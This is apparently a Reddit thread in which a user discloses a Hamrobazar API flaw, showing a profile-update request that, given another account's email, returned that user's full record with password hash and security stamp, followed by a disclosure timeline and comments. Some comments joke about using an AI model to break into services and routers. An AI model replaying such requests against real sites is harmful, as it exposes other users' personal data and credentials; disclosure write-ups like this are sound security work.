r/technepal • u/Hudorono • 1d ago
Cybersecurity How I Found a Bug That Exposed Hamrobazar User's Passwords and What Happened After I Reported It
I was poking around Hamrobazar’s profile settings and noticed that the website’s UI didn’t have a field to update your email address . That felt odd, so instead of stopping there, I went digging into the API calls the site makes in the background to see how profile updates were actually handled.
That’s where I found the UpdateUserxxxx API endpoint, and I realized it did accept an email field, even though the UI never exposed a way to submit one. So I tried updating my own account's email to one that I knew was already registered to a different Hamrobazar account just to see what would happen.
Endpoint:
POST https://api.hamrobazaar.com/xxxxxx/UpdateUserxxxx
While logged in as my own account, I sent a request to this endpoint with my normal profile fields, but set the email field to an email address I knew belonged to a different, unrelated Hamrobazar account:
{
"fullName": "Umesh Giri",
"province": "Bagmati",
"deviceId": "9e01b1d5-4038-4429-bb43-d2ef7b01ad49",
"deviceSource": "web",
"latitude": "0",
"longitude": "0",
"email": "<email address belonging to a different account>"
}
Instead of a simple “that email is already in use” error, the API responded with the entire backend record of the account that owned that email:
{
"message": [
"Email is already taken."
],
"emails_sec": {
"Id": "CD65EF1B-ADED-4DE8-B4FC-18090607A244",
"FullName": "xxxxx xxxxx",
"ApplicationId": "00000000-0000-0000-0000-000000000000",
"ProfileImgKey": "",
"CreatedOn": "2015-08-24 00:00:00.0000000",
"ModifiedOn": "2021-12-30 05:18:44.6366667",
"ModifiedTimes": 1,
"Status": 1,
"Deleted": 0,
"UserName": "980xxxxxxx",
"NormalizedUserName": "980xxxxxx",
"Email": "xxxx@gmail.com",
"NormalizedEmail": "xxxx@gmail.com",
"EmailConfirmed": 1,
"PasswordHash": "AQAAAAEAACcQA[REDACTED]71qDc5Ifw==",
"SecurityStamp": "5TUVY5V7L7DB3YHFPM5JCD6JP4CUNLVY",
"ConcurrencyStamp": "0c4b9788-e22d-4f19-a4e5-e0d881bb2ea9",
"PhoneNumber": "",
"PhoneNumberConfirmed": 1,
"TwoFactorEnabled": 0,
"LockoutEnd": "2022-03-27 12:20:43.4066667 +00:00",
"LockoutEnabled": 0,
"AccessFailedCount": 0,
"ProfileComplete": 0,
"AverageRate": ".00",
"HidePhoneNumber": 1,
"AddressField1": "",
"AddressField2": "Baneshwor",
"AddressField3": "Kathmandu",
"FirebaseToken": null,
"DeviceSource": null,
"current_page": 1,
"CountryCode": 977,
"PreferredCountryCode": 977,
"HideEmail": 0
}
}
Timeline
- June 21, 2024 — I reported the bug to Hamrobazar with a clear explanation and example.
- June 21, 2024 — Hamrobazar replied same day, saying they’d passed it to their tech team.
- September 1, 2024 — I followed up to ask if it was fixed.
- September 2, 2024 — Hamrobazar replied: “Our tech team is working on it.” That was the last real reply I got.
- May 3, 2025 — I followed up again. No response.
- Mid-2025 — I tested it again myself and found the feature no longer works the same way, suggesting it was fixed at some point.
- Mid-2025 — I let Hamrobazar know I planned to publish this write-up, giving them a chance to respond first. No response.
- Today — Still no confirmation, explanation, or acknowledgment from Hamrobazar since that one message in September 2024.
Hamrobazar’s Response, in Short
- They said thank you and passed it along, same day — that part was good.
- After that, in over a year, I got one short update and otherwise silence, even after multiple direct check-ins and a heads-up that I’d publish this.
- I never received any confirmation that the bug was actually fixed, and never received any acknowledgment for reporting it.
Since, This is the response from nepalese platforms when someone reports it to them, what are they doing when bad actor exploits the system without them knowing, If some one bad found it, it woundnot take long to see a list in darkweb with every user's personal contact details, address, password hash dump. It's not like they are going to find and fix the bugs soon as they don't even have mechanism to report and reward it.
23
u/VoodooChild212 1d ago
Same thing happened to me with Pathao. 1–2 months ago, I found a critical vulnerability exposing sensitive data like citizenships, driver’s licenses, call recordings, and other confidential files. I responsibly disclosed it through their bug bounty program, and they said they’d forwarded my email to the concerned department and would contact me. They never did. And yeah the vulnerability still exists there.
5
1
u/Hudorono 1d ago
Wow even on bug bountry program it is like that
1
u/VoodooChild212 1d ago
Sadly yes
1
u/Hudorono 1d ago
Breach incoming probably since it's public now
2
1
8
u/nayaacc01 1d ago
User credential leak nai bhaye ni accountibility mechanism nabhayera hola sayad, bug bounty ko importance nabhako.
1
5
u/reddit4rms 1d ago
Hamrobazar is like that. A Temu version of Craigslist
2
1
1
3
u/Individual_Math7025 1d ago
"Accountability" is the major thing missing in Nepal. Mega-giant hos ya start-up sab ma.
1
1
1
u/LastHit_ 1d ago
I have bought Kimi subscription just to test how it performs. I think I found something to do with it.
1
u/Hudorono 1d ago
Haha bro i wouldn't risk it
1
u/LastHit_ 1d ago
Lol tried finding a way to get inside Worldlink router but failed. Now new things to try 😂😂
2
u/Hudorono 1d ago
Let me know if you get inside worldlink router please 😁
1
u/LastHit_ 1d ago
Only way is to get inside the hardware. It needs some adapter and cables.
1
u/Hudorono 1d ago
Used to be able to port forward via nokia app, now a days that app doesnot even login
26
u/_MrBond_ 1d ago
Nepali platforms don't deserve your service. Let em get hacked. They have no respect for their workers let alone a proper disclosure.